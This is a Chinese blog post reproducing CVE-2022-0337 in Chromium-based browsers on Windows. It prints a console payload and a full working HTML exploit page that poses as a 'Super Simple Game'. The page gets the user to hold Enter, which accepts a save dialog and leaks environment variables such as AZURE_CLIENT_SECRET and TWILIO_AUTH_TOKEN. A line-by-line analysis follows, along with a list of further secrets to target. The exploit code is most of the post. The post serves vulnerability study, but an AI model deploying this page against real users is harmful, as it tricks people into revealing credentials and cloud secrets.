有意思的CVE-2022-0337复现

315 阅读2分钟

 前言

 前两天在刷tw,看到了个比较有意思的一个CVE漏洞,价值奖励是10000美刀,比较好奇的是价值10000美刀的漏洞是什么样子的,漏洞利用就是需要在浏览器中进行用户交互才能触发该漏洞,但由于 Windows 的文件保存默认为接受,通过使用强制您按 ENTER 约 2 秒的技巧简单地泄漏数十个环境变量。

 影响版本

Google Chrome版本范围92.x-96.x

Microsoft Edge版本范围92.x-96.x

Opera版本范围78.x-81.x

 复现

 在存在漏洞的浏览器F12的控制台输入payload

let a = await window.showSaveFilePicker({suggestedName:'%username%'});a.name;

 但是必须要访问一个存在的html,百度首页测试

image-20220323153020581.png

 保存后控制台输出环境变量username的值

image-20220323153112740.png

 漏洞发现者为:Maciej Pulikowski,exp也是来自于作者,中间改了点样式,因为觉得有点不太美观!

image-20220323162714963.png

 EXP

<html>  <head>    <title>      CVE-2022-0337 System environment variables leak on Google Chrome,      Microsoft Edge and Opera    </title>    <meta charset="UTF-8" />  </head><style>    body {      background: rgba(212,0,0,0.2);      display: flex;      justify-content: center;      align-items: center;      flex-direction: column;    }h1,h2,h3 {  -webkit-text-stroke: 1px #00000050;}​h1 {  color: #d96c06;  font-size: 36px;}h2 {  color: #1ebe8e;  font-size: 46px;}h3 {  color: #c6f91f;  font-size: 18px;}h2 span {  color: #cf4848;  font-size: 70px;}​#author {  font-size: 28px;}​span {  font-weight: 100;}</style><body>    <script>      //how many time enter clicked in row      let countEnter = 0;      //is file downloaded      let isDownloaded = false;​      //on page load      window.onload = function () {        const body = document.querySelector("body");        const pixel = document.querySelector("#pixel");​        body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);        body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);​        const randomNumber = Math.floor(Math.random() * 990) + 1;        const filename = `f${randomNumber}.f`;​        //List of environment variables that hacker is interested in.        const environmentVariables = [          "USERNAME",          "USERDOMAIN",          "SESSIONNAME",          "COMPUTERNAME",          "KEY_VAULT_URL",          "SECRET_NAME",          "AZURE_TENANT_ID",          "AZURE_CLIENT_ID",          "AZURE_CLIENT_SECRET",          "TWILIO_ACCOUNT_SID",          "TWILIO_AUTH_TOKEN",          //'TOKEN',          //'PASSWORD'        ];​        const suggestedName =          environmentVariables.map((x) => `%${x}%`).join("@") + filename;​        pixel.addEventListener("click", async () => {          //handle to get file          const handle = await window.showSaveFilePicker({ suggestedName });          //sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem          //result from user          const username = handle.name.split("@")[0];​          const userInfo = handle.name            .replaceAll(filename, "")            .split("@")            .map(              (x, i) =>                `${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`            )            .join("<br>");          const guessWinPath = `C:/Users/${username}`;          document.querySelector(            "#userInfo"          ).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;          document.querySelector("#gameover").textContent =            "GAME OVER - Need refresh to start again";        });      };​      function clickedEnter() {        countEnter++;        //if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files        if (countEnter > 5 && !isDownloaded) {          pixel.click();          //set file is downloaded          isDownloaded = true;        }      }​      function cancelEnter() {        //reset count enter if enter is not hold        countEnter = 0;      }    </script>    <!-- div used to click to open Save As dialog -->    <div id="pixel"></div>    <h3 id="userInfo"></h3>    <h1>Super Simple Game<span>******</span></h1>    <h2><span>**HOLD ENTER</span> for 2 seconds</h2>    <h3 id="gameover"></h3>  </body></html>

 这里选择版本

92.0.4515.159(正式版本)

image-20220322183250315.png

image-20220322184215763.png

 刷新页面后长按Enter键两秒即可触发payload

image-20220322184311642.png

 分析

 分一下payload前面的49行之前内容是定义了html的样式,核心内容在

 <script>      //how many time enter clicked in row      let countEnter = 0;      //is file downloaded      let isDownloaded = false; //on page load  window.onload = function () {    const body = document.querySelector("body");    const pixel = document.querySelector("#pixel");​    body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);    body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);​    const randomNumber = Math.floor(Math.random() * 990) + 1;    const filename = `f${randomNumber}.f`;​    //List of environment variables that hacker is interested in.    const environmentVariables = [      "USERNAME",      "USERDOMAIN",      "SESSIONNAME",      "COMPUTERNAME",      "KEY_VAULT_URL",      "SECRET_NAME",      "AZURE_TENANT_ID",      "AZURE_CLIENT_ID",      "AZURE_CLIENT_SECRET",      "TWILIO_ACCOUNT_SID",      "TWILIO_AUTH_TOKEN",      //'TOKEN',      //'PASSWORD'    ];​    const suggestedName =      environmentVariables.map((x) => `%${x}%`).join("@") + filename;​    pixel.addEventListener("click", async () => {      //handle to get file      const handle = await window.showSaveFilePicker({ suggestedName });      //sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem      //result from user      const username = handle.name.split("@")[0];​      const userInfo = handle.name        .replaceAll(filename, "")        .split("@")        .map(          (x, i) =>            `${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`        )        .join("<br>");      const guessWinPath = `C:/Users/${username}`;      document.querySelector(        "#userInfo"      ).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;      document.querySelector("#gameover").textContent =        "GAME OVER - Need refresh to start again";    });  };​  function clickedEnter() {    countEnter++;    //if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files    if (countEnter > 5 && !isDownloaded) {      pixel.click();      //set file is downloaded      isDownloaded = true;    }  }​  function cancelEnter() {    //reset count enter if enter is not hold    countEnter = 0;  }</script>

 看标签的话定义为JavaScript语言,泄露的配置信息在69-84行定义

image-20220322184542674.png

 在63和64行定义了长按Enter键相当于触发script标签

image-20220323095329316.png

 随机数生成文件名后缀,随机数大小为0到991,fimename=随机数.f

image-20220323112000780.png

suggestedName格式为定义的%{x}%@filename

suggestedName=%{x}%@随机数.f

image-20220323111901028.png

 继续向下看

image-20220323112527994.png

 上述代码为触发事件操作,定义了所泄露的在environmentVariables中定义的属性,且调用属性suggestedName做打印。

image-20220323112807443.png

 所以最终在执行payload的时候保存的文件名为

%USERNAME%@%USERDOMAIN%@%SESSIONNAME%@%COMPUTERNAME%@%KEY_VAULT_URL%@%SECRET_NAME%@%AZURE_TENANT_ID%@%AZURE_CLIENT_ID%@%AZURE_CLIENT_SECRET%@%TWILIO_ACCOUNT_SID%@%TWILIO_AUTH_TOKEN%@%TOKEN%@%PASSWORD%f416.f

 那么接下来需要思考两个问题

  • 泄露的漏洞触发的原理又在哪里

  • 能做什么呢?

1.根据测试,漏洞在windwos易受攻击。Linux 和Mac 是安全的,因为在命名的时候使用了ENV环境变量,所以会触发,在 Windows 中,%ENV_VAR%可以使用 来引用环境变量,文件名称的命名时利用环境变量来命名的话,在调用文件的话会返回环境变量的值。

2.因为windows中能够利用环境变量有很多,例如

AWS_SECRET_ACCESS_KEYAZURE_CLIENT_SECRETbinance_secretGITHUB_TOKENGOOGLE_API_KEY

 结语

 大佬毕竟是大佬呀!!!

 更多靶场实验练习、网安学习资料,请点击这里>>